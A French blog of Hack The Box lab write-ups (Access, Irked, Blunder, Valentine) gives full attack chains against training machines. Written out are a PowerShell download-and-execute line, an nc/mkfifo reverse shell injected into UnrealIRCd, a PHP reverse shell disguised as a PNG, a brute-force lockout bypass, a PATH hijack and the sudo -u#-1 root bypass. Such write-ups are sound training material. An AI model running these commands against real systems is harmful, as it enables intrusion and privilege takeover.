</o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72"><div class=WordSection1><p class=MsoNormal>Hi there,<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>The password for the &#8220;security&#8221; account has been changed to 4Cc3ssC0ntr0ller.&nbsp; Please ensure this is passed on to your engineers.<o:p></o:p></p><p class=MsoNormal><o:p>&nbsp;</o:p></p><p class=MsoNormal>Regards,<o:p></o:p></p><p class=MsoNormal>John<o:p></o:p></p></div></body></html>

TELNET - security account

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


┌──(kali㉿kali)-[~/htb/Access/Access Control]
└─$ telnet 10.10.10.98 23
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: security
password: 4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>type Desktop\user.txt
9535.....3f75

Privilege Escalation

Powershell

Si j’écris simplement “powershell”, un powershell semble s’ouvrir mais n’est pas stable. J’ai donc dû ouvrir un reverse shell pour obtenir un powershell stable :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


----------KALI------------

┌──(kali㉿kali)-[~/htb/Access]
└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.98 - - [16/Feb/2025 17:04:22] "GET /Invoke.ps1 HTTP/1.1" 200 -

----------KALI------------

┌──(kali㉿kali)-[~/htb/Access]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.98] 49165

Windows PowerShell running as user security on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\security>PS C:\Users\security> whoami
access\security


---------WINDOWS----------

C:\Users\security>powershell /C IEX(New-Object Net.WebClient).downloadString('http://10.10.16.9:8888/Invoke.ps1')

ZKAccess.lnk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


PS C:\Users\security> cd ../Public
PS C:\Users\Public> cd Desktop
PS C:\Users\Public\Desktop> ls


 Directory: C:\Users\Public\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 8/22/2018 10:18 PM 1870 ZKAccess3.5 Security System.lnk


PS C:\Users\Public\Desktop> cat Z*
L?F?@ ??7???7???#?P/P?O? ?:i?+00?/C:\R1M?:Windows???:?▒M?:*wWindowsV1MV?System32???:?▒MV?*?System32▒X2P?:?
 runas.exe???:1??:1?*Yrunas.exe▒L-K??E?C:\Windows\System32\runas.exe#..\..\..\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"'C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico?%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive%\ZKTeco\ZKAccess3.5\img\AccessNET.ico?%?
 ?wN?▒?]N?D.??Q???`?Xaccess?_???8{E?3
 O?j)?H???
 )??[?_???8{E?3
 O?j)?H???
 )??[? ??1SPS??XF?L8C???&?m?e*S-1-5-21-953262931-566350628-63446256-500

En fouillant dans les dossiers, on trouve un fichier ZKAccess.lnk qui semble executer un binaire “Access.exe” avec des droits élévé :

Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.5G/user:ACCESS\Administrator /savecred “C:\ZKTeco\ZKAccess3.5\Access.exe On observe l’utilisation de runas, pour executer un fichier en tant qu’un utilisateur spécifique. En l’occurence, ici, il s’agit de l’Administrator (celui qui nous intéresse). Apparement les creds de l’administrateur sont enregistrés, et on peut executer n’importe quelle commande en tant qu’Administrator en utilisant l’argument /savecred.

On tente d’utiliser à nouveau notre script Invoke.ps1 pour ouvrir un reverseshell de type powershell en tant qu’Administrator, et ça fonctionne. On a changé le port dans le Invoke.ps1 bien sûr car le port est déjà utiliser sur la kali pour le powershell actuel.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


PS C:\Users\security> runas /user:ACCESS\Administrator /savecred "powershell /C IEX(New-Object Net.WebClient).downloadString('http://10.10.16.9:8888/Invoke.ps1')"

--------KALI---------

┌──(kali㉿kali)-[~/htb/Access]
└─$ nc -lnvp 1339
listening on [any] 1339 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.98] 49216
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32> cd C:\Users\Administrator
PS C:\Users\Administrator> cd Desktop
PS C:\Users\Administrator\Desktop> ls


 Directory: C:\Users\Administrator\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar-- 2/16/2025 6:02 PM 34 root.txt


PS C:\Users\Administrator\Desktop> cat root.txt
339f.....e901

Tips

Toujours fouiller les dossiers des utilisateurs accessibles, avant d’effectuer un winPEAS.

HTB | Irked

Sun, 16 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Irked	Linux	10.10.10.117	Easy

System info

1
2
3
4
5
6
7
8


ircd@irked:/home/djmardov/Documents$ uname -a
Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux
ircd@irked:/home/djmardov/Documents$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 8.10 (jessie)
Release: 8.10
Codename: jessie

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.117
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI+wKAAyWgx/P7Pe78y6/80XVTd6QEv6t5ZIpdzKvS8qbkChLB7LC+/HVuxLshOUtac4oHr/IF9YBytBoaAte87fxF45o3HS9MflMA4511KTeNwc5QuhdHzqXX9ne0ypBAgFKECBUJqJ23Lp2S9KuYEYLzUhSdUEYqiZlcc65NspAAAAFQDwgf5Wh8QRu3zSvOIXTk+5g0eTKQAAAIBQuTzKnX3nNfflt++gnjAJ/dIRXW/KMPTNOSo730gLxMWVeId3geXDkiNCD/zo5XgMIQAWDXS+0t0hlsH1BfrDzeEbGSgYNpXoz42RSHKtx7pYLG/hbUr4836olHrxLkjXCFuYFo9fCDs2/QsAeuhCPgEDjLXItW9ibfFqLxyP2QAAAIAE5MCdrGmT8huPIxPI+bQWeQyKQI/lH32FDZb4xJBPrrqlk9wKWOa1fU2JZM0nrOkdnCPIjLeq9+Db5WyZU2u3rdU8aWLZy8zF9mXZxuW/T3yXAV5whYa4QwqaVaiEzjcgRouex0ev/u+y5vlIf4/SfAsiFQPzYKomDiBtByS9XA==
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGASnp9kH4PwWZHx/V3aJjxLzjpiqc2FOyppTFp7/JFKcB9otDhh5kWgSrVDVijdsK95KcsEKC/R+HJ9/P0KPdf4hDvjJXB1H3Th5/83gy/TEJTDJG16zXtyR9lPdBYg4n5hhfFWO1PxM9m41XlEuNgiSYOr+uuEeLxzJb6ccq0VMnSvBd88FGnwpEoH1JYZyyTnnbwtBrXSz1tR5ZocJXU4DmI9pzTNkGFT+Q/K6V/sdF73KmMecatgcprIENgmVSaiKh9mb+4vEfWLIe0yZ97c2EdzF5255BalP3xHFAY0jROiBnUDSDlxyWMIcSymZPuE1N6Tu8nQ/pXxKvUar
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFeZigS1PimiXXJSqDy2KTT4UEEphoLAk8/ftEXUq0ihDOFDrpgT0Y4vYgYPXboLlPBKBc0nVBmKD+6pvSwIEy8=
| 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC6m+0iYo68rwVQDYDejkVvsvg22D8MN+bNWMUEOWrhj
80/tcp open http syn-ack Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34862/tcp status
| 100024 1 41825/tcp6 status
| 100024 1 46351/udp status
|_ 100024 1 49135/udp6 status
6697/tcp open irc syn-ack UnrealIRCd
8067/tcp open irc syn-ack UnrealIRCd
34862/tcp open status syn-ack 1 (RPC #100024)
65534/tcp open irc syn-ack UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Foothold

Exploit: UnrealIRCd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


┌──(kali㉿kali)-[~]
└─$ nc -nv 10.10.10.117 6697
(UNKNOWN) [10.10.10.117] 6697 (ircs-u) open
:irked.htb NOTICE AUTH :*** Looking up your hostname...
AB; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.27 1337 >/tmp/f
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

------------------------------------------

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.19] from (UNKNOWN) [10.10.10.117] 53736
bash: cannot set terminal process group (625): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:~/Unreal3.2$ whoami
whoami
pwdircd
ircd@irked:~/Unreal3.2$
pwd
/home/ircd/Unreal3.2
ircd@irked:~/Unreal3.2$ python3 -V
python3 -V
Python 3.4.2
ircd@irked:~/Unreal3.2$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ircd@irked:~/Unreal3.2$ export TERM=xterm
export TERM=xterm
ircd@irked:~/Unreal3.2$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

ircd@irked:~/Unreal3.2$
ircd@irked:~/Unreal3.2$ whoami
ircd

ircd -> djmardov

.backup - password

On trouve un fichier .backup dans les documents du user djmardov, avec un mot de passe :

1
2
3


ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

steg hide

On trouve le mot “steg” et “pw” dans le fichier .backup. On suppose qu’il faut faire la stegano sur une image. La seule image disponible sur le serveur est celle du site web, dans /var/www/html/irked.jpg. On utilise l’outil steg hide pour extraire une string de l’image en utilsant le mot de passe fournit, et ça fonctionne, on recupere le mot de passe de djmardov:

1
2
3
4
5
6
7


┌──(kali㉿kali)-[~/htb/Irked]
└─$ steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf ./irked.jpg
wrote extracted data to "pass.txt".

┌──(kali㉿kali)-[~/htb/Irked]
└─$ cat pass.txt
Kab6h+m+bbp2J:HG

SSH djmardov - user flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


┌──(kali㉿kali)-[~/htb/Irked]
└─$ ssh djmardov@irked.htb
The authenticity of host 'irked.htb (10.10.10.117)' can't be established.
ED25519 key fingerprint is SHA256:Ej828KWlDpyEOvOxHAspautgmarzw646NS31tX3puFg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yzqs
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added 'irked.htb' (ED25519) to the list of known hosts.
Kab6h+m+bbp2J:HG
djmardov@irked.htb's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ whoami
djmardov
djmardov@irked:~$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt Videos
djmardov@irked:~$ cat user.txt
0d95.....9a07

Privilege Escalation

SUID binary: viewuser

Après avoir executé linpeas, on observe un SUID binary suspect : /usr/bin/viewuser. Et oui, fallait remarquer ça… En regardant de plus près, on remarque qu’il existe la commande “who” sans utiliser de chemin absolu. On ajoute donc au PATH le dossier /tmp puis on crée un fichier avec une commande pour mettre le bit SUID sur /bin/bash et pour executer bash -p en tant que root directement. On aurait pu mettre potentiellement /bin/bash directement dans who egalement.

Dans les write up, on remarque plutot l’utilisation du fichier /tmp/listusers avec un /bin/bash dedans, tout simplemment ! car on a un setuid(0); system(’/tmp/listusers’) dans le binaire. On remarque qu’il n’y a pas de setuid(0) avant le system(‘who’)… Donc je ne vois pas comment mon exploit fonctionne, pourtant ça fonctionne bien !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


bash-4.3# echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
bash-4.3# export PATH=/tmp:$PATH
bash-4.3# echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

------------------------

nano /tmp/who ---->

chmod +s /bin/bash

-------------------------------

djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
sh: 1: /tmp/listusers: Permission denied
djmardov@irked:~$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
259a.....a166

HTB | Blunder

Thu, 13 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Blunder	Linux	10.10.10.191	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$ nmap -sC -sV -An -T4 -vvv 10.10.10.191
PORT STATE SERVICE REASON VERSION
21/tcp closed ftp conn-refused
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
|_http-generator: Blunder
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: A0F0E5D852F0E3783AF700B6EE9D00DA

Foothold

Webserver : todo.txt

Sur le port 80, on trouve un serveur web. A la racine se trouve un fichier todo.txt avec des informations intéressantes.

1
2
3
4


-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

On peut bruteforce la page admin avec l’utilisateur potentiel “fergus” qu’on a trouvé dans le todo.txt. Il y a une protection contre le bruteforce qui blacklist notre IP. Mais on peut changer le parametre “X_FORWADED_FOR: 127.0.0.1” avec une autre ip aléatoire et à nouveau effectuer de nouvelles tentatives d’authentification. Quelqu’un a déjà créer un script sur github en ruby pour effectuer cette attaque bruteforce facilement. On le trouve en utilisant searchsploit mais egalement sur internet: https://github.com/noraj/Bludit-auth-BF-bypass

Pour la liste de mot de passe, le mot de passe ne semble pas etre dans la lite rockyou. Le reflexe est donc de créer une liste grâce à cewl et tous les mots présents sur la page d’accueil :

1

cewl http://10.10.10.191 > pass.txt

On peut maintenant effectuer notre attaque bruteforce avec notre script, l’utilisateur fergus ainsi que la liste de mot de passe basé sur les mots présents sur la page d’accueil du site web :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


┌──(kali㉿kali)-[~/htb/Blunder]
└─$ ruby exploit.rb -r http://10.10.10.191 -u fergus -w ./pass.txt
[*] Trying password: CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
[*] Trying password: the
...
...
[*] Trying password: book
[*] Trying password: collections
[*] Trying password: Bram
[*] Trying password: Stoker
[*] Trying password: British
[*] Trying password: Society
[*] Trying password: Book
[*] Trying password: Foundation
[*] Trying password: him
[*] Trying password: Distinguished
[*] Trying password: Contribution
[*] Trying password: Letters
[*] Trying password: probably
[*] Trying password: best
[*] Trying password: fictional
[*] Trying password: character
[*] Trying password: RolandDeschain

[+] Password found: RolandDeschain

On trouve les creds suivants : fergus:RolandDeschain

Directory Traversal

On trouve une exploit sur searchsploit permettant d’uploader une image png contenant du code php. Ici on générere avec msfvenom un reverseshell qu’on va uploader en tant qu’image png. Puis, on va pouvoir y accéder et executer le code en se rendant sur l’url: /bl-content/tmp/temp/evil.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


#####################################################"
┌──(kali㉿kali)-[~/htb/Blunder]
└─$ msfvenom -p php/reverse_php LHOST=10.10.16.19 LPORT=1337 -f raw -b '"' > evil.png
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4051 (iteration=0)
php/base64 chosen with final size 4051
Payload size: 4051 bytes

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ echo -e "<?php $(cat evil.png)" > evil.png

#######################################################

## Après le premier test, je n'arrivais pas a stabiliser mon shell
## J'ai donc utiliser un autre code php pour ouvrir un reverse shell

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ cp php-reverse-shell.php evil.png

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ cat evil.png
<?php eval(base64_decode('IoJG91dCkpOwogICAgICB......2xvc2UoJHMpOwogICAgfQo'));

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ echo "RewriteEngine off" > .htaccess

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ echo "AddType application/x-httpd-php .png" >> .htaccess

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ python3 dir_traversal.py
cookie: qg5smk61bhamr0lg3t0s8n9mq5
csrf_token: 6325cd57b7d27ae4de54cefa8d79d6a7e15279d8
Uploading payload: evil.png
Uploading payload: .htaccess

----------------------------------------------------------------

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.19] from (UNKNOWN) [10.10.10.191] 36802
Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 23:40:39 up 1 day, 7:09, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
shaun :0 :0 Tue16 ?xdm? 8:54 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@blunder:/$ export TERM=xterm
export TERM=xterm
www-data@blunder:/$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~/htb/Blunder]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

www-data@blunder:/$ whoami
www-data

Getting Hugo user - user flag

En fouillant un peu dans les fichiers du serveur web, on trouve rapidement le mot de passe de hugo: faca404fd5c0a31cf1897b823c695c85cffeb98d Dans crackstation on obtient: hugo : Password120

J’ai fait un grep de hugo car j’ai vu le nom de cet utilisant dans le dossier /home. De plus, hugo etait l’utilisateur contenant disposant du fichier user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


www-data@blunder:/$ cd var
www-data@blunder:/var$ cd www
www-data@blunder:/var/www$ ls
bludit-3.10.0a bludit-3.9.2 html
www-data@blunder:/var/www$ grep -rni hugo
bludit-3.10.0a/bl-content/databases/users.php:4: "nickname": "Hugo",
bludit-3.10.0a/bl-content/databases/users.php:5: "firstName": "Hugo",
www-data@blunder:/var/www$ cd bludit-3.10.0a/
www-data@blunder:/var/www/bludit-3.10.0a$ cd bl-content/
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ cd databases/
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls
categories.php plugins site.php tags.php
pages.php security.php syslog.php users.php
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
 "admin": {
 "nickname": "Hugo",
 "firstName": "Hugo",
 "lastName": "",
 "role": "User",
 "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
 "email": "",
 "registered": "2019-11-27 07:40:55",
 "tokenRemember": "",
 "tokenAuth": "b380cb62057e9da47afce66b4615107d",
 "tokenAuthTTL": "2009-03-15 14:00",
 "twitter": "",
 "facebook": "",
 "instagram": "",
 "codepen": "",
 "linkedin": "",
 "github": "",
 "gitlab": ""}
}
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
Password:
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cd
hugo@blunder:~$ cat user.txt
779f.....44d0

Privilege Escalation

CVE-2019-14287 : hugo -> root

On fait un sudo -l en tant que hugo:

1
2
3
4
5
6
7
8


exit
hugo@blunder:~$ sudo -l
Matching Defaults entries for hugo on blunder:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
 (ALL, !root) /bin/bash

On observe qu’il peut ouvrir un shell en tant que n’importe quel utilisateur, sauf root.

En cherchant un peu sur le web + chatGPT s’il est possible de bypasser cette restriction, on découvre une CVE:

CVE-2019-14287 : Sudo doesn’t check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv -u#-1 returns as 0 which is root’s id. (De même pour 4294967295 qui dépasse la limite d’un int ? Donne 0, donc l’id de root à nouveau ?)

and /bin/bash is executed with root permission

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo# whoami
root
root@blunder:/home/hugo# cat /root/root.txt
99b9.....1d73

------------V2-------------
hugo@blunder:~$ sudo -u#4294967295 /bin/bash
root@blunder:/home/hugo# whoami
root

HTB | Valentine

Wed, 12 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Valentine	Linux	10.10.10.79	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


$ nmap -sC -sV -An -T4 -vvv 10.10.10.79
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIMeSqrDdAOhxf7P1IDtdRqun0pO9pmUi+474hX6LHkDgC9dzcvEGyMB/cuuCCjfXn6QDd1n16dSE2zeKKjYT9RVCXJqfYvz/ROm82p0JasEdg1z6QHTeAv70XX6cVQAjAMQoUUdF7WWKWjQuAknb4uowunpQ0yGvy72rbFkSTmlAAAAFQDwWVA5vTpfj5pUCUNFyvnhy3TdcQAAAIBFqVHk74mIT3PWKSpWcZvllKCGg5rGCCE5B3jRWEbRo8CPRkwyPdi/hSaoiQYhvCIkA2CWFuAeedsZE6zMFVFVSsHxeMe55aCQclfMH4iuUZWrg0y5QREuRbGFM6DATJJFkg+PXG/OsLsba/BP8UfcuPM+WGWKxjuaoJt6jeD8iQAAAIBg9rgf8NoRfGqzi+3ndUCo9/m+T18pn+ORbCKdFGq8Ecs4QLeaXPMRIpCol11n6va090EISDPetHcaMaMcYOsFqO841K0O90BV8DhyU4JYBjcpslT+A2X+ahj2QJVGqZJSlusNAQ9vplWxofFONa+IUSGl1UsGjY0QGsA5l5ohfQ==
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRkMHjbGnQ7uoYx7HPJoW9Up+q0NriI5g5xAs1+0gYBVtBqPxi86gPtXbMHGSrpTiX854nsOPWA8UgfBOSZ2TgWeFvmcnRfUKJG9GR8sdIUvhKxq6ZOtUePereKr0bvFwMSl8Qtmo+KcRWvuxKS64RgUem2TVIWqStLJoPxt8iDPPM7929EoovpooSjwPfqvEhRMtq+KKlqU6PrJD6HshGdjLjABYY1ljfKakgBfWic+Y0KWKa9qdeBF09S7WlaUBWJ5SutKlNSwcRBBVbL4ZFcHijdlXCvfVwSVMkiqY7x4V4McsNpIzHyysZUADy8A6tbfSgopaeR2UN4QRgM1dX
| 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+pCNI5Xv8P96CmyDi/EIvyL0LVZY2xAUJcA0G9rFdLJnIhjvmYuxoCQDsYl+LEiKQee5RRw9d+lgH3Fm5O9XI=
80/tcp open http syn-ack Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
443/tcp open ssl/http syn-ack Apache httpd 2.2.22 ((Ubuntu))
|_ssl-date: 2025-02-09T12:49:15+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-02-06T00:45:25
| Not valid after: 2019-02-06T00:45:25
| MD5: a413:c4f0:b145:2154:fb54:b2de:c7a9:809d
| SHA-1: 2303:80da:60e7:bde7:2ba6:76dd:5214:3c3c:6f53:01b1
| -----BEGIN CERTIFICATE-----
| MIIDZzCCAk+gAwIBAgIJAIXsbfXFhLHyMA0GCSqGSIb3DQEBBQUAMEoxCzAJBgNV
|_-----END CERTIFICATE-----
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

Foothold

Website (port 80)

On trouve un site internet sur le port 80 avec le nom de domaine suivant : valentine.htb

gobuster

On trouve les dossiers/fichiers suivants:

/dev
/encode <– permet d’encoder en base 64
/decode <– decode le base64
/dev/hype.key
/dev/notes.txt <– explique qu’il y a des problemes de code dans encode/decode

Le fichier hype.key est une clé privée RSA encodé en hexadecimal. Avec cyberchef on la récupère :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30 46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 6b 44 61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 4d 79 30 30 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37 6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 67 4e 52 46 50 59 75 4e 69 58 72 58 73 31 77 2f 64 65 4c 43 71 43 4a 2b 45 